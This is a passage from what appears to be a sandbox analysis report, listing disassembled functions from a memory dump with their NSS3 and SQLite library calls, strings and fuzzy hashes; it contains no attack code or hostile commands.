Instruction Fuzzy Hash: 4A11C4B9A116006FE7209A65EC41BDBB3F5EB1538CF604538E41A97B30E632E919C693

Function 6CEAFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CEAFE08

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CEAFE1D

Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CEAFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CEAFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CEAFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CEAFE6F

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: db78aa651362d5a35b4d36b8817606b8d99a0e933403605ad055fcee9cb18347
Instruction ID: 93a033ffae5bf0b8fcff5a9b361ca0786c70f71c9bbfa09fe4e539b58e745051
Opcode Fuzzy Hash: db78aa651362d5a35b4d36b8817606b8d99a0e933403605ad055fcee9cb18347
Instruction Fuzzy Hash: 2111ACB6A002456FEB004B95DC40B5B73B4AF552ADF34C038E9199BB12E735D515C791

Function 6CF5FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CF5FD9E

Part of subcall function 6CF19BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE41A48), ref: 6CF19BB3
Part of subcall function 6CF19BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE41A48), ref: 6CF19BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CF5FDB9

Part of subcall function 6CE3A900: TlsGetValue.KERNEL32(00000000,?,6CFB14E4,?,6CDD4DD9), ref: 6CE3A90F
Part of subcall function 6CE3A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE3A94F

PR_Unlock.NSS3 ref: 6CF5FDD4
PR_Lock.NSS3 ref: 6CF5FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CF5FE0D
PR_Unlock.NSS3 ref: 6CF5FE23

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: d608bf689dcdfb23a680576bb3f37fb13289a417d4c06ed3184539aa52cb2040
Instruction ID: dd9f503f99fbb1488c3cbc3bda0a305a5eb170eecdff4c6d39685ceac11835d5
Opcode Fuzzy Hash: d608bf689dcdfb23a680576bb3f37fb13289a417d4c06ed3184539aa52cb2040
Instruction Fuzzy Hash: 550161BAE14601ABDF448F15FC40856BA31FB132687554378E92647BE2E722EE29C7C1

Function 6CE3AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE3AFDA

Strings

%s at line %d of [%.10s], xrefs: 6CE3AFD3
misuse, xrefs: 6CE3AFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6CE3AF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE3AFC4

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: ab3b55c62c19f1e6290ea7c25e9339aee830cc69b855d15afbb6c0945f3fb5fc
Instruction ID: c8eb60a5a4615ecb34089027ffd5313ca7a697c1579046b723e9095b9d63eaed
Opcode Fuzzy Hash: ab3b55c62c19f1e6290ea7c25e9339aee830cc69b855d15afbb6c0945f3fb5fc
Instruction Fuzzy Hash: BB910575A442258FDF04CF5AC850BAAB7F1BF45318F2950A8E869AB791C335FD41CB60

Function 6CE9FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CE9FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE9FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CE9FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CE9FDDE

Part of subcall function 6CEA8800: TlsGetValue.KERNEL32(?,6CEB085A,00000000,?,6CE58369,?), ref: 6CEA8821
Part of subcall function 6CEA8800: TlsGetValue.KERNEL32(?,?,6CEB085A,00000000,?,6CE58369,?), ref: 6CEA883D
Part of subcall function 6CEA8800: EnterCriticalSection.KERNEL32(?,?,?,6CEB085A,00000000,?,6CE58369,?), ref: 6CEA8856
Part of subcall function 6CEA8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CEA8887
Part of subcall function 6CEA8800: PR_Unlock.NSS3(?,?,?,?,6CEB085A,00000000,?,6CE58369,?), ref: 6CEA8899

Strings

pkcs11:, xrefs: 6CE9FC4F

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 07c61b3f72475bff932b7bea5a2d0c840ec96e5845925c8f21c6abd960766daf
Instruction ID: 8e0113bf5e411b7275bb39bdcc6026b1afaba62e6588f750b8257a4fb44eb13d
Opcode Fuzzy Hash: 07c61b3f72475bff932b7bea5a2d0c840ec96e5845925c8f21c6abd960766daf
Instruction Fuzzy Hash: 1E51F5B1A002119FEB108F65DC80B9A7375AF4235CF350129FD146BF62EB39E906CB92

Function 6CDDBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CDDBE02

Part of subcall function 6CF09C40: memcmp.VCRUNTIME140(?,00000000,6CDDC52B), ref: 6CF09D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDDBE9F

Strings

%s at line %d of [%.10s], xrefs: 6CDDBE98
database corruption, xrefs: 6CDDBE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDDBE89

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 433bd346e69c92d4abe1e802bb0326869afc08ad3101de0b17de5eeba530a4a4
Instruction ID: 97cad4da66e332c4938e20b706147eb7816ce9f7e9ed9dca64d52f58bb66b882
Opcode Fuzzy Hash: 433bd346e69c92d4abe1e802bb0326869afc08ad3101de0b17de5eeba530a4a4
Instruction Fuzzy Hash: DA310431E04656EBC700CF698894EABBBA2AF45318B1A8954EE941BAE1D371FD04C7D0

Function 6CE51EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CE54C64,?,-00000004), ref: 6CE51EE2

Part of subcall function 6CEB1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CE51D97,?,?), ref: 6CEB1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE54C64,?,-00000004), ref: 6CE51F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE54C64,?,-00000004), ref: 6CE51F37
DER_DecodeTimeChoice_Util.NSS3(?,dLl,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE54C64,?,-00000004), ref: 6CE51F53

Strings

dLl, xrefs: 6CE51F2B, 6CE51F51

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLl
API String ID: 3216063065-3939847266
Opcode ID: 09430bb25b9f222c94e9e58b6cc557dedcc633da1c92bafba5e7acc2a7ed8968
Instruction ID: 8ae4d2628eaad92288f71ea73e11ce23c71ad31fff9f12bfa0589eeda4e62a7b
Opcode Fuzzy Hash: 09430bb25b9f222c94e9e58b6cc557dedcc633da1c92bafba5e7acc2a7ed8968
Instruction Fuzzy Hash: 01218371514205AFC700CEA5DD01A9BB7F9AF85699F50092DE854D3B40F732E529C7E2

Function 6CE40DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CE40BDE), ref: 6CE40DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CE40BDE), ref: 6CE40DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CE40BDE), ref: 6CE40DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CE40BDE), ref: 6CE40E32

Strings

%s incr => %d (find lib), xrefs: 6CE40E2D

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: ce6a41f767901938aa6ca175b4ae428ae1b9c120257cb4182904242dbbdfb3e0
Instruction ID: 956b558798bdca00cffcb6cb48cfb604d1ce8d118605bc6cb6fd61c0ff1df3c5
Opcode Fuzzy Hash: ce6a41f767901938aa6ca175b4ae428ae1b9c120257cb4182904242dbbdfb3e0
Instruction Fuzzy Hash: A401F572A006209FEA109A25AC85E1773B8DB46609B15843DD905D7B41E762FC1587E1

Function 6CEFAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]l,00000000,?,?,6CED6AC6,?), ref: 6CEFAC2D

Part of subcall function 6CE9ADC0: TlsGetValue.KERNEL32(?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE10
Part of subcall function 6CE9ADC0: EnterCriticalSection.KERNEL32(?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE24
Part of subcall function 6CE9ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CE7D079,00000000,00000001), ref: 6CE9AE5A
Part of subcall function 6CE9ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE6F
Part of subcall function 6CE9ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE7F
Part of subcall function 6CE9ADC0: TlsGetValue.KERNEL32(?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEB1
Part of subcall function 6CE9ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEC9

PK11_FreeSymKey.NSS3(?,@]l,00000000,?,?,6CED6AC6,?), ref: 6CEFAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]l,00000000,?,?,6CED6AC6,?), ref: 6CEFAC59
free.MOZGLUE(8CB6FF01,6CED6AC6,?,?,?,?,?,?,?,?,?,?,6CEE5D40,00000000,?,6CEEAAD4), ref: 6CEFAC62

Strings

@]l, xrefs: 6CEFAC05

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]l
API String ID: 1595327144-728282480
Opcode ID: 9cd25c54418c8b3e642d793ce2d2d3818288a0e37df0c0b72bc476598e16f49c
Instruction ID: e47d3eb818126b5e7e6bbb462107fc410c450211ec89155f4eb76e477bc473b0
Opcode Fuzzy Hash: 9cd25c54418c8b3e642d793ce2d2d3818288a0e37df0c0b72bc476598e16f49c
Instruction Fuzzy Hash: 0A016DB5A402009FDB00DF55E8D0B56B7B8EF44B5CF288068E9598F706D735E849CBA1

Function 6CDE9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDE9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CDE9D45
EnterCriticalSection.KERNEL32(?), ref: 6CDE9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CDE9DDE

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 5c00e564d587d45eb3bdf7d2db62ec89043b2c47b3c2c62b62dafcb432af43af
Instruction ID: 68b162a5bf00e257b2b685015b1ee8f99fdf8a0b9d70f42b9a37703b61b2f18e
Opcode Fuzzy Hash: 5c00e564d587d45eb3bdf7d2db62ec89043b2c47b3c2c62b62dafcb432af43af
Instruction Fuzzy Hash: 6DA1F231F12100CBEB48AF65E9D97AE7BB5BB4A314F18412CD40647B64DB3AE845CB92

Function 6CE71E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CE71ECC

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

TlsGetValue.KERNEL32 ref: 6CE71EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE71EEF
PR_ExitMonitor.NSS3(?), ref: 6CE71F37
PR_Unlock.NSS3(?), ref: 6CE71F44

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 522e2d795136eca2b1649f7c863a6f336c704f58535fe8a8db2fce3f3c8a5684
Instruction ID: 7fa08c942845429a7de18d8a987a1b85818f78fbb26b09c7de06c371ee1c4aa9
Opcode Fuzzy Hash: 522e2d795136eca2b1649f7c863a6f336c704f58535fe8a8db2fce3f3c8a5684
Instruction Fuzzy Hash: 4471DF719043019FD720CF65D841A5AB7F1FF89358F24492DE8A893B10E731F959CBA2

Function 6CEFDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEFDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CEFDE77

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 504dc9aa4d46a31e69b4552a5db660add1032f0fcfecd30d41360fafac2f70b6
Instruction ID: 984988773218dbbfc855830f7c75fc48963e607e9301680fa0e21b212cb951db
Opcode Fuzzy Hash: 504dc9aa4d46a31e69b4552a5db660add1032f0fcfecd30d41360fafac2f70b6
Instruction Fuzzy Hash: D8715875E00314CFDB10CF99C580B99BBB4BF49718F25816DD9696B701D771AA06CF90

Function 6CE6DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE71397,5B5F5EC0,?,?,6CE6B1EE,2404110F,?,?), ref: 6CE6AB3C
Part of subcall function 6CE6AB10: free.MOZGLUE(D958E836,?,6CE6B1EE,2404110F,?,?), ref: 6CE6AB49
Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(5D5E6D06), ref: 6CE6AB5C
Part of subcall function 6CE6AB10: free.MOZGLUE(5D5E6CFA), ref: 6CE6AB63
Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE6AB6F
Part of subcall function 6CE6AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE6AB76

TlsGetValue.KERNEL32(?,?,6CE6B266,6CE715C6,?,?,6CE715C6), ref: 6CE6DFDA
EnterCriticalSection.KERNEL32(?,?,?,6CE6B266,6CE715C6,?,?,6CE715C6), ref: 6CE6DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CE6B266,6CE715C6,?,?,6CE715C6), ref: 6CE6E029
PK11_IsLoggedIn.NSS3 ref: 6CE6E046

Part of subcall function 6CE78F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FAF
Part of subcall function 6CE78F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FD1
Part of subcall function 6CE78F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FFA
Part of subcall function 6CE78F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE79013
Part of subcall function 6CE78F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE79042
Part of subcall function 6CE78F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE7905A
Part of subcall function 6CE78F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE79073
Part of subcall function 6CE78F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE79111

PR_Unlock.NSS3(?,?,?,?,6CE6B266,6CE715C6,?,?,6CE715C6), ref: 6CE6E149

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: a1122427e56247fcbb756e667aa4eb51bf2b9170d57eae5df61ff2aef92924b4
Instruction ID: 407228ef7dbdb56b3ab84a30d8ca73375a8704efcd1849b878f3baaf0aefe313
